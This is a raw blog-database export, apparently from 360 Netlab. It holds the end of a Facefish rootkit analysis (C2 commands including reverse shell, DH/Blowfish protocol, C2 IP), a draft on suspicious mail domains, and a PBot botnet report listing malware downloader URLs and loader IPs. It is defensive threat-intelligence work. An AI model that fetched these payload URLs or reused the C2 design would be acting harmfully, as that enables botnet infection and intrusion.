disk"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170600524-1.png"}],["markdown",{"markdown":"Network device"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508173142888-1.png"}],["markdown",{"markdown":"SSH service related"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170834920-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508173314536-1.png"}],["markdown",{"markdown":"### 0x2: Introduction to C2 commands\n\nFacefish uses a complex communication protocol and encryption algorithm, among which the instructions starting with 0x2XX are used to exchange public keys, which we will analyze in detail in the next subsection. Here is a brief explanation of the C2 functional instructions.\n\n* Send 0x305\n\nWhether to send the registration information 0x305, if not, collect the information and report it.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508173614278-1.png"}],["markdown",{"markdown":"* Send 0x300\n\nFunction to report stolen credential information\n\n* Send 0x301\n\nCollect uname information, group packets and send 0x301, wait for further instructions"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508174238407-1.png"}],["markdown",{"markdown":"* Receive 0x302\n\nAccept command 0x302, reverse shell."}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508174458428-1.png"}],["markdown",{"markdown":"* Receive 0x310\n\nAccept command 0x310, execute any system command"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508175705147-1.png"}],["markdown",{"markdown":"* Send 0x311\n\nSend instruction 0x311 to return the result of bash execution\n\n* Receive 0x312\n\nAccept instruction 0x312 to re-collect and report host information"}],["markdown",{"markdown":"### 0x3: Communication protocol analysis\n\nRootkit's communication process uses DH [(Diffie–Hellman)](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange) key exchange protocol/algorithm for key exchange, and BlowFish is used for communication data encryption, so it is impossible to decrypt the traffic data only. Each session is divided into two phases, the first phase is key negotiation, the second phase uses the negotiated key to encrypt the sent data, receives and decrypts a C2 command, and then disconnects the TCP connection. This one-at-a-time encryption communication method is difficult to detect precisely by traffic characteristics.\n\nGenerally speaking, the easiest way to communicate using the DH protocol framework is to use the OpenSSL library, and the author of Facefish has coded (or used some open source projects) the whole communication process himself, and the code size is very compact because no third-party libraries are introduced.\n\n* DH communication principle\n\nThe whole communication protocol is based on the DH framework, so we need to understand the DH communication principle briefly first. Without discussing the mathematical principle behind, we use a simple example to describe the communication process directly by formula.\n\nStep 1. A generates a random number a=4, chooses a prime number p=23, and a base number g=5, and calculates the public key A ($ A = g^a\\mod p = 5^4\\mod {23} = 4 $), then sends p, g, and A to B at the same time.\n\nStep 2. After receiving the above message, B also generates a random number b=3 and uses the same formula to calculate the public key B ($ B = g^b \\mod p = 5^3 \\mod {23} = 10 $), then sends B to A. At the same time, B calculates the communication key s=3 and a base number g=5. Meanwhile, B calculates the communication key $ s = A^b \\mod p = (g^a)^b \\mod p = 18 $.\n\nstep 3. A receives B and also calculates the communication key $ s=B^a \\mod p= (g^b)^a \\mod p =18 $\n\nstep 4. A and B use the communication key s and BlowFish symmetric encryption algorithm to encrypt and decrypt the communication data.\n\nIn essence, a simple derivation shows that A and B computes by the same formula.\n\n$$\ns = B^a \\mod p = (g^b)^a \\mod p = g^{ab} \\mod p = (g^a)^b \\mod p = A^b \\mod p\n$$\n\n\nThere is a key mathematical function in the whole algorithm to find the power modulus power(x, y) mod z. When x and y are large, it is difficult to solve directly, so the fast power modulus algorithm is used. The start function mentioned earlier is the key code in the fast power binpow().\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510123409286-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510123553608-1.png"}],["markdown",{"markdown":"* Protocol analysis\n\nSending and receiving packets use the same data structure.\n\n ```c\n struct package{\n struct header{\n WORD payload_len; //payload length\n WORD cmd; //cmmand\n DWORD payload_crc; // payload crc\n } ;\n struct header hd;\n unsigned char payload[payload_len]; // payload\n }\n ```\n \nAs an example, the 0x200 instruction packet can be defined as follows.\n\n ```c\n struct package pkg = {\n \t.hd.payload_len = 0;\n \t.hd.cmd = 0x200;\n \t.hd.payload_crc = 0;\n \t.payload = \"\";\n }\n \n ```\n \n "}],["markdown",{"markdown":"Against the DH communication principle and traffic data we analyze the communication protocol.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510104153887-1.png"}],["markdown",{"markdown":"1. bot first sends instruction 0x200, payload data is empty.\n\n2. C2 replied to the instruction 0x201, payload length of 24 bytes, converted into three 64-bit values by small end, corresponding to the three key data sent by A in step1, p=0x294414086a9df32a, g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758.\n\n3. Corresponding to step2, bot generates a random number b locally, and then generates B=0x0e27ddd4b848924c based on the received p,g, which is sent to C2 by instruction 0x202. thus completing the exchange of session keys."}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510115024505-1.png"}],["markdown",{"markdown":"4. Corresponding to step3, bot and C2 generate Blowfish keys s and iv by public key A and public key B. Where iv is obtained by dissimilarity of p and g."}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510115139042-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510120455981-1.png"}],["markdown",{"markdown":"With iv and s we can encrypt and decrypt the communication data. The real communication data is encrypted using BlowFish algorithm, which is the same as the method of profile encryption mentioned before. bot sends 0x305 command to C2 with the length of 0x1b0, and the content is the registration packet data after BlowFish encryption.\n\nThe decrypted uplink packet data is as follows."}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510190724649-1.png"}],["markdown",{"markdown":"# IOC\nSample MD5\n```\n38fb322cc6d09a6ab85784ede56bc5a7 sshins\nd6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so\n```\n\nC2\n```\n176.111.174.26:443\n```"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[10,11],[10,12],[10,13],[10,14],[10,15],[10,16],[10,17],[10,18],[10,19],[10,20],[10,21],[10,22],[10,23],[10,24],[10,25],[10,26],[10,27],[10,28],[10,29],[10,30],[10,31],[10,32],[10,33],[10,34],[10,35],[10,36],[10,37],[10,38],[10,39],[1,"p",[]]],"ghostVersion":"3.0"} | 60af0a413819e50007633f0f |
post | null | 2021-06-07T02:56:53.000Z | 63873b9a8b1c1e0007f52fd3 | wei-zhi-de-la-ji-you-jian-fa-song-xing-wei | 0 | 2021-06-07T03:06:33.000Z | public | draft | null | null | 未知的垃圾邮件发送行为 | <h2 id="2021-05-13">2021-05-13</h2><p>同步一下DNSMon最近发现的一个现象，可能是和垃圾邮件相关，现在无法进一步实锤。</p><p>1. 在DNSMon中，从5.11开始，发现了大概15个形如 “^mail\.[a-z0-9]{5,7}\.cn” 的域名。解析的IP地址全部集中在百度。</p><!--kg-card-begin: markdown--><pre><code>mail.uizhx4t.cn
mail.vm47jcn.cn
mail.x1gi4me.cn
mail.x3w13mq.cn
mail.x98nb5r.cn
mail.xico1d.cn
mail.xs58782.cn
mail.ylt19px.cn
</code></pre>
<!--kg-card-end: markdown--><p>2. 从域名whois注册人的邮箱来看，大部分都注册了超过1000个域名，应该是域名贩子或者是做域名出租生意的。</p><p>3. 大概在百级别，地理位置分布比较均匀，全国每个省都有并且数量和经济发达程度呈正相关。</p><p>4. 有趣的地方在这里，通过时序关联域名查看，几乎<strong>每个域名都和如下域名有较强的关联</strong>：</p><!--kg-card-begin: markdown--><pre><code>20210511 1.000000 175 mail.u5hymh4.cn # 被查询域名自身
20210511 0.188571 33 outlook.jp # outlook的日本站
20210511 0.165714 29 bloomberg.net # 彭博社的域名，看dns记录主要是邮件记录以及和防垃圾邮件相关的txt记录。
20210511 0.120000 21 edm.tebon.com.cn # 德邦证券的域名，DNS解析记录仍然为MX邮件记录
20210511 0.085714 15 u5hymh4.cn # 被查询域名的二级域名
20210511 0.057143 10 sbrs.glb.cellopoint.com # 位于台湾的一家防垃圾邮件的公司
20210511 0.051429 9 x3w13mq.cn # 和被查域名相关的另外一个域名。
</code></pre>
<!--kg-card-end: markdown--><p>5. 这类域名还有两个显著的特点：</p><blockquote>1. 几乎都有_dmarc 和 _domainkey（DKIM）等用于垃圾邮件检测的记录。</blockquote><blockquote>2. 从去年底到今年4月份，这些域名有一波随机子域名的解析记录，数量不多，解析结果在境外的阿里云。</blockquote><p>6. 补一个图链接：<a href="https://graph.netlab.qihoo.net/#/explorer?snapshot=609c89f7f76ea30104ab158b" rel="noopener noreferrer">https://graph.netlab.qihoo.net/#/explorer?snapshot=609c89f7f76ea30104ab158b</a> </p><h2 id="2021-06-07">2021-06-07</h2><p>7. 更新在20210607， 新一批域名出现，规模和之前发现的类似，域名注册人也完全相同。此次行动的起始点为20210525。 和5月初的不同主要体现在：</p><!--kg-card-begin: markdown--><ul>
<li>
<ol>
<li>域名不同。此次出现的域名和上次出现的域名没有重合。不过此次出现的域名从passivedns上来看，在20210430～20210506这段时间使用过一次。</li>
</ol>
</li>
<li>
<ol start="2">
<li>使用的基础设施不同。此次使用的基础设施不再用百度云的IP地址。使用了芬兰，美国和俄国的IP地址。</li>
</ol>
</li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>相应的图链接：<a href="https://graph.netlab.qihoo.net/#/explorer?snapshot=60bd85ffcca5218c58248f4b">https://graph.netlab.qihoo.net/#/explorer?snapshot=60bd85ffcca5218c58248f4b</a></p>
<!--kg-card-end: markdown--><p>持续更新中ing</p> | 2021-05-13
同步一下DNSMon最近发现的一个现象，可能是和垃圾邮件相关，现在无法进一步实锤。
1. 在DNSMon中，从5.11开始，发现了大概15个形如 “^mail\.[a-z0-9]{5,7}\.cn” 的域名。解析的IP地址全部集中在百度。
mail.uizhx4t.cn
mail.vm47jcn.cn
mail.x1gi4me.cn
mail.x3w13mq.cn
mail.x98nb5r.cn
mail.xico1d.cn
mail.xs58782.cn
mail.ylt19px.cn
2. 从域名whois注册人的邮箱来看，大部分都注册了超过1000个域名，应该是域名贩子或者是做域名出租生意的。
3. 大概在百级别，地理位置分布比较均匀，全国每个省都有并且数量和经济发达程度呈正相关。
4. 有趣的地方在这里，通过时序关联域名查看，几乎每个域名都和如下域名有较强的关联：
20210511 1.000000 175 mail.u5hymh4.cn # 被查询域名自身
20210511 0.188571 33 outlook.jp # outlook的日本站
20210511 0.165714 29 bloomberg.net # 彭博社的域名，看dns记录主要是邮件记录以及和防垃圾邮件相关的txt记录。
20210511 0.120000 21 edm.tebon.com.cn # 德邦证券的域名，DNS解析记录仍然为MX邮件记录
20210511 0.085714 15 u5hymh4.cn # 被查询域名的二级域名
20210511 0.057143 10 sbrs.glb.cellopoint.com # 位于台湾的一家防垃圾邮件的公司
20210511 0.051429 9 x3w13mq.cn # 和被查域名相关的另外一个域名。
5. 这类域名还有两个显著的特点：
1. 几乎都有_dmarc 和 _domainkey（DKIM）等用于垃圾邮件检测的记录。
2. 从去年底到今年4月份，这些域名有一波随机子域名的解析记录，数量不多，解析结果在境外的阿里云。
6. 补一个图链接：https://graph.netlab.qihoo.net/#/explorer?snapshot=609c89f7f76ea30104ab158b
2021-06-07
7. 更新在20210607， 新一批域名出现，规模和之前发现的类似，域名注册人也完全相同。此次行动的起始点为20210525。 和5月初的不同主要体现在：
*
1. 域名不同。此次出现的域名和上次出现的域名没有重合。不过此次出现的域名从passivedns上来看，在20210430～20210506这段时间使用过一次。
*
2. 使用的基础设施不同。此次使用的基础设施不再用百度云的IP地址。使用了芬兰，美国和俄国的IP地址。
相应的图链接：https://graph.netlab.qihoo.net/#/explorer?snapshot=60bd85ffcca5218c58248f4b
持续更新中ing | {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"```\nmail.uizhx4t.cn\nmail.vm47jcn.cn\nmail.x1gi4me.cn\nmail.x3w13mq.cn\nmail.x98nb5r.cn\nmail.xico1d.cn\nmail.xs58782.cn\nmail.ylt19px.cn\n```"}],["markdown",{"markdown":"```\n20210511 1.000000 175 mail.u5hymh4.cn # 被查询域名自身\n20210511 0.188571 33 outlook.jp \t\t# outlook的日本站\n20210511 0.165714 29 bloomberg.net\t# 彭博社的域名，看dns记录主要是邮件记录以及和防垃圾邮件相关的txt记录。\n20210511 0.120000 21 edm.tebon.com.cn # 德邦证券的域名，DNS解析记录仍然为MX邮件记录\n20210511 0.085714 15 u5hymh4.cn # 被查询域名的二级域名\n20210511 0.057143 10 sbrs.glb.cellopoint.com # 位于台湾的一家防垃圾邮件的公司\n20210511 0.051429 9 x3w13mq.cn \t\t# 和被查域名相关的另外一个域名。\n```"}],["markdown",{"markdown":"* 1. 域名不同。此次出现的域名和上次出现的域名没有重合。不过此次出现的域名从passivedns上来看，在20210430～20210506这段时间使用过一次。\n* 2. 使用的基础设施不同。此次使用的基础设施不再用百度云的IP地址。使用了芬兰，美国和俄国的IP地址。"}],["markdown",{"markdown":"相应的图链接：https://graph.netlab.qihoo.net/#/explorer?snapshot=60bd85ffcca5218c58248f4b"}]],"markups":[["strong"],["a",["href","https://graph.netlab.qihoo.net/#/explorer?snapshot=609c89f7f76ea30104ab158b","rel","noopener noreferrer"]]],"sections":[[1,"h2",[[0,[],0,"2021-05-13"]]],[1,"p",[[0,[],0,"同步一下DNSMon最近发现的一个现象，可能是和垃圾邮件相关，现在无法进一步实锤。"]]],[1,"p",[[0,[],0,"1. 在DNSMon中，从5.11开始，发现了大概15个形如 “^mail\\.[a-z0-9]{5,7}\\.cn” 的域名。解析的IP地址全部集中在百度。"]]],[10,0],[1,"p",[[0,[],0,"2. 从域名whois注册人的邮箱来看，大部分都注册了超过1000个域名，应该是域名贩子或者是做域名出租生意的。"]]],[1,"p",[[0,[],0,"3. 大概在百级别，地理位置分布比较均匀，全国每个省都有并且数量和经济发达程度呈正相关。"]]],[1,"p",[[0,[],0,"4. 有趣的地方在这里，通过时序关联域名查看，几乎"],[0,[0],1,"每个域名都和如下域名有较强的关联"],[0,[],0,"："]]],[10,1],[1,"p",[[0,[],0,"5. 这类域名还有两个显著的特点："]]],[1,"blockquote",[[0,[],0,"1. 几乎都有_dmarc 和 _domainkey（DKIM）等用于垃圾邮件检测的记录。"]]],[1,"blockquote",[[0,[],0,"2. 从去年底到今年4月份，这些域名有一波随机子域名的解析记录，数量不多，解析结果在境外的阿里云。"]]],[1,"p",[[0,[],0,"6. 补一个图链接："],[0,[1],1,"https://graph.netlab.qihoo.net/#/explorer?snapshot=609c89f7f76ea30104ab158b"],[0,[],0," "]]],[1,"h2",[[0,[],0,"2021-06-07"]]],[1,"p",[[0,[],0,"7. 更新在20210607， 新一批域名出现，规模和之前发现的类似，域名注册人也完全相同。此次行动的起始点为20210525。 和5月初的不同主要体现在："]]],[10,2],[10,3],[1,"p",[[0,[],0,"持续更新中ing"]]]],"ghostVersion":"3.0"} | 60bd8af53819e5000763407c |
post | null | 2021-06-15T12:14:13.000Z | 63873b9a8b1c1e0007f52fd4 | p2p-ddos-pbot | 0 | 2021-07-08T02:20:08.000Z | public | draft | null | null | 新P2P Botnet: PBot分析简报 | <!--kg-card-begin: markdown--><p>本报告由国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）共同发布。</p>
<h1 id="">版权</h1>
<p>版权声明: 本文为国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。</p>
<h1 id="">概述</h1>
<p><a href="https://twitter.com/SethKingHi/status/1399320943684571136">2021-05-31</a>我们监测到一个可疑Linux可执行文件<code>0c47d63b0d1d917549a31debb68ab678(downloader: http://205.185[.126.254/bins/exxsdee.arm)</code>, 经分析我们发现这是一个全新的使用自定义P2P协议的正在发展中的P2P Botnet。其主要功能为DDoS。正在编写本文之际，我们收到了一封来自声称是<code>Keksec</code>组织成员的作者的邮件，称想和我们讨论关于一些事情，并提供了几张截图用来证明他就是该Botnet的作者。从其提供的截图看，该Botnet的项目名称为<code>PBot</code>，所以我们称之为PBot。当前Bot数为<code>1406</code>。作者提供的部分截图如下：<br>
<img src="__GHOST_URL__/content/images/2021/06/p2pbot.png" alt="p2pbot" loading="lazy"></p>
<h1 id="">样本传播</h1>
<p>我们观察到PBot样本主要通过SSH/Telnet弱口令以及一些NDay漏洞传播。相关NDay漏洞如下：</p>
<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Affected Aevice</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.exploit-db.com/exploits/41471">JAWS_DVR_RCE</a></td>
<td>MVPower DVR</td>
</tr>
<tr>
<td><a href="https://securityaffairs.co/wordpress/77951/malware/iot-botnet-backdoored.html">ZTE F460 and F660 backdoor</a></td>
<td>ZTE Router</td>
</tr>
<tr>
<td><a href="https://www.rapid7.com/db/modules/exploit/linux/misc/netcore_udp_53413_backdoor">Netis Backdoor</a></td>
<td>Netis Router</td>
</tr>
</tbody>
</table>
<h1 id="">样本分析</h1>
<p>Pbot自从进入我们视野后，一直在积极的迭代更新。我们在其downloader（<code>205.185.126.254:80</code>）服务器上不仅发现了全系CPU架构的bot样本，还发现了控制端。</p>
<p><img src="__GHOST_URL__/content/images/2021/06/pbot_opendir.png" alt="pbot_opendir" loading="lazy"></p>
<p>Pbot最独特的地方在于它实现了P2P网络通信，基于对Bot样本和控制端的逆向分析，它的简化网络结构如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/06/pbot_brief.png" alt="pbot_opendir" loading="lazy"></p>
<p>事实上Pbot的功能比较简单，执行时首先会在Console输出<code>[main] bot deployed\r\n</code>字样，然后通过绑定本地端口实现单一实例，接着通过算法解密出<code>BootNode ,身份认证KEY</code>等敏感的资源信息，最后通过BootNode节点加入到P2P网络中，等待执行ControlNode下发的指令，主要有指令中DDoS攻击，开启telnet扫描传播等。其中支持的DDoS攻击方法如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/06/pbot_attack.png" alt="pbot_opendir" loading="lazy"></p>
<p>BootNode，是一个超级节点，除了与各Bot相同的p2p通信功能之外，还具有以下功能：</p>
<ul>
<li>统计各Peer信息（Peer会向它注册，上传自身信息）</li>
<li>协助各Peer间寻找对方，BootNode保存了大量的P2P Peers列表，Bot向其注册后，可以请求一部分节点信息分享给Bot</li>
<li>承载样本，恶意shell脚本的下载服务</li>
</ul>
<p>而ControlNode，则是管理节点，主要功能为向节点发送具体的指令，如DDoS攻击，开启扫描等。它的控制面板如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/06/pbot_panel.png" alt="pbot_opendir" loading="lazy"></p>
<p>2021年6月21日观测到的botnet状态如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/06/pbot_stats.png" alt="pbot_opendir" loading="lazy"></p>
<h1 id="">联系我们</h1>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h1 id="">相关链接</h1>
<p><a href="https://www.cert.org.cn/publish/main/11/2021/20210628133948926376206/20210628133948926376206_.html">CNCERT: 关于新型P2P僵尸网络PBot的分析报告</a></p>
<h1 id="ioc">IoC</h1>
<h2 id="downloaderurl">Downloader URL</h2>
<pre><code>http://205.185[.126.254/bins/controller.x86
http://205.185[.126.254/bins/exxsdee.arm7
http://205.185[.126.254/bins/exxsdee.i586
http://205.185[.126.254/ssh.sh
http://205.185[.126.254:80/bins/crsfi.arm
http://205.185[.126.254:80/bins/exxsdee.arm
http://205.185[.126.254/korpze_jaws.sh
http://205.185[.126.254/korpze.sh
http://205.185[.126.254/sv.sh
http://205.185[.126.254/korpze_jaws.sh
http://205.185[.126.254///exxsdee.mpsl
http://monke[.tw/armz.sh
http://monke[.tw/u
</code></pre>
<h2 id="loaderip">Loader IP</h2>
<pre><code>23.94.22.111 AS36352|ColoCrossing United_States|New_York|Buffalo
205.185.125.92 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
143.198.99.95 AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown
23.95.9.192 AS36352|ColoCrossing United_States|New_York|Buffalo
199.19.224.153 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
143.198.48.62 AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown
69.55.62.38 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
199.19.225.131 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
107.172.0.156 AS36352|ColoCrossing United_States|Texas|Dallas
</code></pre>
<h2 id="samplemd5">Sample MD5</h2>
<pre><code>4bc46deb5372d11a2600377931db71c8
0205f44954c45fb24251087635c53296
0e86f26659eb6a32a09e82e42ee5d720
3155dd24f5377de6f43ff06981a6bbf2
3255a45b2ebe187c429fd088508db6b0
3484b80b33ee8d53336090d91ad31a6b
769bc673d858b063265d331ed226464f
8de9de4e14117e3ce4dfa60dacd673ef
9cb73e83b48062432871539b3f625a21
d209fe7d62f517de8b1cf1a5697e67c2
e84a59bb18afff664e887744d8afebd0
</code></pre>
<!--kg-card-end: markdown--> | 本报告由国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）共同发布。
版权
版权声明: 本文为国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
概述
2021-05-31我们监测到一个可疑Linux可执行文件0c47d63b0d1d917549a31debb68ab678(downloader: http://205.185[.126.254/bins/exxsdee.arm), 经分析我们发现这是一个全新的使用自定义P2P协议的正在发展中的P2P Botnet。其主要功能为DDoS。正在编写本文之际，我们收到了一封来自声称是Keksec组织成员的作者的邮件，称想和我们讨论关于一些事情，并提供了几张截图用来证明他就是该Botnet的作者。从其提供的截图看，该Botnet的项目名称为PBot，所以我们称之为PBot。当前Bot数为1406。作者提供的部分截图如下：
样本传播
我们观察到PBot样本主要通过SSH/Telnet弱口令以及一些NDay漏洞传播。相关NDay漏洞如下：
Vulnerability
Affected Aevice
JAWS_DVR_RCE
MVPower DVR
ZTE F460 and F660 backdoor
ZTE Router
Netis Backdoor
Netis Router
样本分析
Pbot自从进入我们视野后，一直在积极的迭代更新。我们在其downloader（205.185.126.254:80）服务器上不仅发现了全系CPU架构的bot样本，还发现了控制端。
Pbot最独特的地方在于它实现了P2P网络通信，基于对Bot样本和控制端的逆向分析，它的简化网络结构如下所示：
事实上Pbot的功能比较简单，执行时首先会在Console输出[main] bot deployed\r\n字样，然后通过绑定本地端口实现单一实例，接着通过算法解密出BootNode ,身份认证KEY等敏感的资源信息，最后通过BootNode节点加入到P2P网络中，等待执行ControlNode下发的指令，主要有指令中DDoS攻击，开启telnet扫描传播等。其中支持的DDoS攻击方法如下所示：
BootNode，是一个超级节点，除了与各Bot相同的p2p通信功能之外，还具有以下功能：
* 统计各Peer信息（Peer会向它注册，上传自身信息）
* 协助各Peer间寻找对方，BootNode保存了大量的P2P Peers列表，Bot向其注册后，可以请求一部分节点信息分享给Bot
* 承载样本，恶意shell脚本的下载服务
而ControlNode，则是管理节点，主要功能为向节点发送具体的指令，如DDoS攻击，开启扫描等。它的控制面板如下所示：
2021年6月21日观测到的botnet状态如下所示：
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
相关链接
CNCERT: 关于新型P2P僵尸网络PBot的分析报告
IoC
Downloader URL
http://205.185[.126.254/bins/controller.x86
http://205.185[.126.254/bins/exxsdee.arm7
http://205.185[.126.254/bins/exxsdee.i586
http://205.185[.126.254/ssh.sh
http://205.185[.126.254:80/bins/crsfi.arm
http://205.185[.126.254:80/bins/exxsdee.arm
http://205.185[.126.254/korpze_jaws.sh
http://205.185[.126.254/korpze.sh
http://205.185[.126.254/sv.sh
http://205.185[.126.254/korpze_jaws.sh
http://205.185[.126.254///exxsdee.mpsl
http://monke[.tw/armz.sh
http://monke[.tw/u
Loader IP
23.94.22.111 AS36352|ColoCrossing United_States|New_York|Buffalo
205.185.125.92 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
143.198.99.95 AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown
23.95.9.192 AS36352|ColoCrossing United_States|New_York|Buffalo
199.19.224.153 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
143.198.48.62 AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown
69.55.62.38 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City
199.19.225.131 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas
107.172.0.156 AS36352|ColoCrossing United_States|Texas|Dallas
Sample MD5
4bc46deb5372d11a2600377931db71c8
0205f44954c45fb24251087635c53296
0e86f26659eb6a32a09e82e42ee5d720
3155dd24f5377de6f43ff06981a6bbf2
3255a45b2ebe187c429fd088508db6b0
3484b80b33ee8d53336090d91ad31a6b
769bc673d858b063265d331ed226464f
8de9de4e14117e3ce4dfa60dacd673ef
9cb73e83b48062432871539b3f625a21
d209fe7d62f517de8b1cf1a5697e67c2
e84a59bb18afff664e887744d8afebd0
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n本报告由国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）共同发布。\n\n# 版权\n版权声明: 本文为国家互联网应急中心（CNCERT）与北京奇虎科技有限公司（360）原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。\n# 概述\n[2021-05-31](https://twitter.com/SethKingHi/status/1399320943684571136)我们监测到一个可疑Linux可执行文件`0c47d63b0d1d917549a31debb68ab678(downloader: http://205.185[.126.254/bins/exxsdee.arm)`, 经分析我们发现这是一个全新的使用自定义P2P协议的正在发展中的P2P Botnet。其主要功能为DDoS。正在编写本文之际，我们收到了一封来自声称是`Keksec`组织成员的作者的邮件，称想和我们讨论关于一些事情，并提供了几张截图用来证明他就是该Botnet的作者。从其提供的截图看，该Botnet的项目名称为`PBot`，所以我们称之为PBot。当前Bot数为`1406`。作者提供的部分截图如下：\n\n\n# 样本传播\n我们观察到PBot样本主要通过SSH/Telnet弱口令以及一些NDay漏洞传播。相关NDay漏洞如下：\n\n| Vulnerability | Affected Aevice |\n| ------------- | ---------------- |\n| [JAWS_DVR_RCE](https://www.exploit-db.com/exploits/41471) | MVPower DVR |\n| [ZTE F460 and F660 backdoor](https://securityaffairs.co/wordpress/77951/malware/iot-botnet-backdoored.html) | ZTE Router |\n| [Netis Backdoor](https://www.rapid7.com/db/modules/exploit/linux/misc/netcore_udp_53413_backdoor) | Netis Router|\n\n# 样本分析\nPbot自从进入我们视野后，一直在积极的迭代更新。我们在其downloader（`205.185.126.254:80`）服务器上不仅发现了全系CPU架构的bot样本，还发现了控制端。\n\n\n\n\n\nPbot最独特的地方在于它实现了P2P网络通信，基于对Bot样本和控制端的逆向分析，它的简化网络结构如下所示：\n\n\n\n\n\n事实上Pbot的功能比较简单，执行时首先会在Console输出```[main] bot deployed\\r\\n```字样，然后通过绑定本地端口实现单一实例，接着通过算法解密出```BootNode ,身份认证KEY```等敏感的资源信息，最后通过BootNode节点加入到P2P网络中，等待执行ControlNode下发的指令，主要有指令中DDoS攻击，开启telnet扫描传播等。其中支持的DDoS攻击方法如下所示：\n\n\n\n\n\n\nBootNode，是一个超级节点，除了与各Bot相同的p2p通信功能之外，还具有以下功能：\n\n- 统计各Peer信息（Peer会向它注册，上传自身信息）\n- 协助各Peer间寻找对方，BootNode保存了大量的P2P Peers列表，Bot向其注册后，可以请求一部分节点信息分享给Bot\n- 承载样本，恶意shell脚本的下载服务\n\n而ControlNode，则是管理节点，主要功能为向节点发送具体的指令，如DDoS攻击，开启扫描等。它的控制面板如下所示：\n\n\n\n2021年6月21日观测到的botnet状态如下所示：\n\n\n\n\n\n\n\n\n\n\n# 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n# 相关链接\n[CNCERT: 关于新型P2P僵尸网络PBot的分析报告](https://www.cert.org.cn/publish/main/11/2021/20210628133948926376206/20210628133948926376206_.html)\n# IoC\n## Downloader URL\n```\nhttp://205.185[.126.254/bins/controller.x86\nhttp://205.185[.126.254/bins/exxsdee.arm7\nhttp://205.185[.126.254/bins/exxsdee.i586\nhttp://205.185[.126.254/ssh.sh\nhttp://205.185[.126.254:80/bins/crsfi.arm\nhttp://205.185[.126.254:80/bins/exxsdee.arm\nhttp://205.185[.126.254/korpze_jaws.sh\nhttp://205.185[.126.254/korpze.sh\nhttp://205.185[.126.254/sv.sh\nhttp://205.185[.126.254/korpze_jaws.sh\nhttp://205.185[.126.254///exxsdee.mpsl\nhttp://monke[.tw/armz.sh\nhttp://monke[.tw/u\n```\n\n## Loader IP\n```\n23.94.22.111 AS36352|ColoCrossing United_States|New_York|Buffalo\n205.185.125.92 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas\n143.198.99.95 AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown\n23.95.9.192 AS36352|ColoCrossing United_States|New_York|Buffalo\n199.19.224.153 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas\n143.198.48.62 AS2828|MCI_Communications_Services,_Inc._d/b/a_Verizon_Business United_States|United_States|Unknown\n69.55.62.38 AS14061|DigitalOcean,_LLC United_States|New_York|New_York_City\n199.19.225.131 AS53667|FranTech_Solutions United_States|Nevada|Las_Vegas\n107.172.0.156 AS36352|ColoCrossing United_States|Texas|Dallas\n```\n\n## Sample 